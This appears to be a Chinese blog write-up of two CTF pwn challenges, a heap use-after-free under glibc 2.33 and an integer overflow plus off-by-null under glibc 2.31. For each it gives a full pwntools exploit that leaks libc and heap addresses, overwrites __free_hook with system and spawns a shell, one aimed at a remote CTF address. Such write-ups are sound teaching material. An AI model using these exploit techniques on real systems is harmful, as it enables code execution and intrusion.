代码编织梦想

ichunqiuIOT

​最难的地方在于逆向懂协议的组成,动手调一调就好了

漏洞点很明显是释放堆块后没有清除相应的指针

由于libc是2.33会有一个指针加密,详细的看这个师傅的文章一道题学习glibc-2.32异或加密

exp

from pwn import *
from LibcSearcher import *

p = process('./abc')
# p=remote()
context.log_level = 'debug'
libc=ELF('./libc.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,size,cont):
    p.send('POST / HTTP/1.0 \r\n&\x01'+'&'+str(idx)+'&'+str(size)+'&'+cont)
def edit(idx,cont):
    p.send('POST / HTTP/1.0 \r\n&\x02'+'&'+str(idx)+'&'+cont)
def show(idx):
    p.send('POST / HTTP/1.0 \r\n&\x03'+'&'+str(idx))
def delete(idx):
    p.send('POST / HTTP/1.0 \r\n&\x04'+'&'+str(idx))
#login
p.send('DEV / HTTP/1.0 \r\nrotartsinimda')

add(0,0x418,'a')
add(1,0x30,'b')
delete(1)
show(1)
p.recvuntil('Content-Length: 5\n')
heapbase=u64(p.recv(5).ljust(8,'\x00'))<<12
info('heap->'+hex(heapbase))
delete(0)
add(2,0x428,'aaaa')
show(0)
p.recvuntil('Content-Length: 6\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e0ff0
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(3,0x30,'c')
add(4,0x30,'ddd')
delete(3)

delete(4)
#0x55500000939c
fd=freehook^(heapbase>>12)
info('fd->'+hex(fd))
edit(4,p64(fd))
add(5,0x30,'/bin/sh')
add(6,0x30,p64(system))
delete(5)

p.interactive()

torghast

libc版本为2.31

逆向分析

​​​​​​在这里插入图片描述
管理堆块需要playflag不为0,我们用Ctrl+X追溯playflag
在这里插入图片描述
使playflag为1需要通过挑战
在这里插入图片描述
有个整数溢出,溢出后能绕过mplist[6*user]>0x5F5E0FE的判断,也就能一步步让playflag=1
在这里插入图片描述
漏洞点出现在edit函数有个off by null。版本是libc-2.31,off by null的利用比起libc2.29之前的利用更加复杂

libc-2.29以后,unlink时加入了对size和prev_size的检测

绕过这个也很简单,伪造prev_size即可,但是unlink还会检测fd和bk

我们需要绕过的检测有两个

一个是合并时对于size的检测

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

一个是对于fd和bk的双链表的检测,需要满足fd->bk=P且bk->fd=P也就是当前堆块

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

由于已经泄露了libc和堆地址,可以直接伪造 prev_size和fd还有bk,造成堆块重叠改free__hook为system

这里解释一下为什么这样修改fd和bk

​add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)

在unlink时,会检测large_bin的fd_nextsize和bk_nextsize的是否合法

if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }

绕过这个检测也很简单,只需要让fd_nextsize和bk_nextsize等于0就可以了

如果直接放在fd_nextsize和bk_nextsize会malloc_printerr(“corrupted double-linked list (not small)”);

exp

from pwn import *
from LibcSearcher import *

#p = process('./torgh')
p=remote('47.93.2.254',15813)
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def menu(ch):
    sla('Choice:',str(ch))
def joinmenu(ch):
    sla('4. Return to Main Menu\n',str(ch))
def gain(ch):
    sla('4. Gain Infinity HP (Only GM)\n',str(ch))
def add(idx,size,cont):
    menu(1)
    sa('Select User Id',str(idx))
    sa('Player Data Size',str(size))
    sa('Input Data',cont)
def edit(idx,cont):
    menu(2)
    sla('Which Player To Change?',str(idx))
    sa('Your Log:',cont)
def delete(idx):
    menu(3)
    sla('Which Player You Want To Delete:',str(idx))
def change(idx):
    menu(2)
    sla('Choose Which User?',str(idx))
def exit():
    menu(4)
# int overflow
menu(1)
joinmenu(1)
for i in range(3):
    joinmenu(2)
    gain(1)
joinmenu(2)
gain(4)
for i in range(2):
    joinmenu(1)
    sl('1')
joinmenu(4)
menu(3)
add(1,0x438,'aaa')
add(2,0x18,'bbb')
delete(1)

add(1,0x18,'a')
menu(4)
change(1)
menu(1)
joinmenu(3)
p.recvuntil('Here Is The Adventure Log:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecf61
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
p.recv(10)
heapbase=u64(p.recv(6).ljust(8,'\x00'))-0x2d0
info('heap->'+hex(heapbase))

joinmenu(4)
menu(3)
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
add(4,0x20,'ccc')
add(5,0x20,'ccc')
add(6,0x28,'ccc')
add(7,0x4f0,'ddd')
add(8,0x30,'eeeee')
edit(6,'a'*0x20+p64(0x4c0))
delete(7)
add(7,0x400,'aaaa')
add(9,0x20,'ccc')

delete(6)
delete(2)
edit(9,p64(freehook))
add(2,0x20,'/bin/sh\x00')
add(6,0x20,p64(system))
delete(2)
p.interactive()

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xiaf5/article/details/124696248

安恒月赛2020年DASCTF——四月春季赛---Web-Writeup-爱代码爱编程

Ezunserialize 比赛的时候去玩了,刚好兄弟们发了第一个web的源码,于是我自己复现了一下 <?php show_source("index.php"); error_reporting(0); function write($data){ return str_replace(chr(0) . '*' . chr(0), '\0\0

PAT-2022年春季考试 - 甲级题解-爱代码爱编程

7-1 Simple Lie Detection (20 分) 作者 陈越 单位 浙江大学 代码长度限制 16 KB 时间限制 400 ms 内存限制 64 MB Lie detection usually uses a set of prepared questions to ask the testee, and the re

胖哈勃春季赛&&网刃杯2022 一丢丢的wp-爱代码爱编程

网刃杯 网刃杯全称神仙队友带飞,4000多分,我这辈子都没见过这么高的分 虽然我什么都没做,但还是辛苦自己了.jpg 定时启动 程序打开之后会出现一个Readme.txt,程序内容显示要在规定时间内打开这个程序 然后再次打开程序的时候,不管是什么时间,只要Readme.txt存在,就会有黑客倒计时黑掉你的电脑 所以要在电脑不存在Readme.txt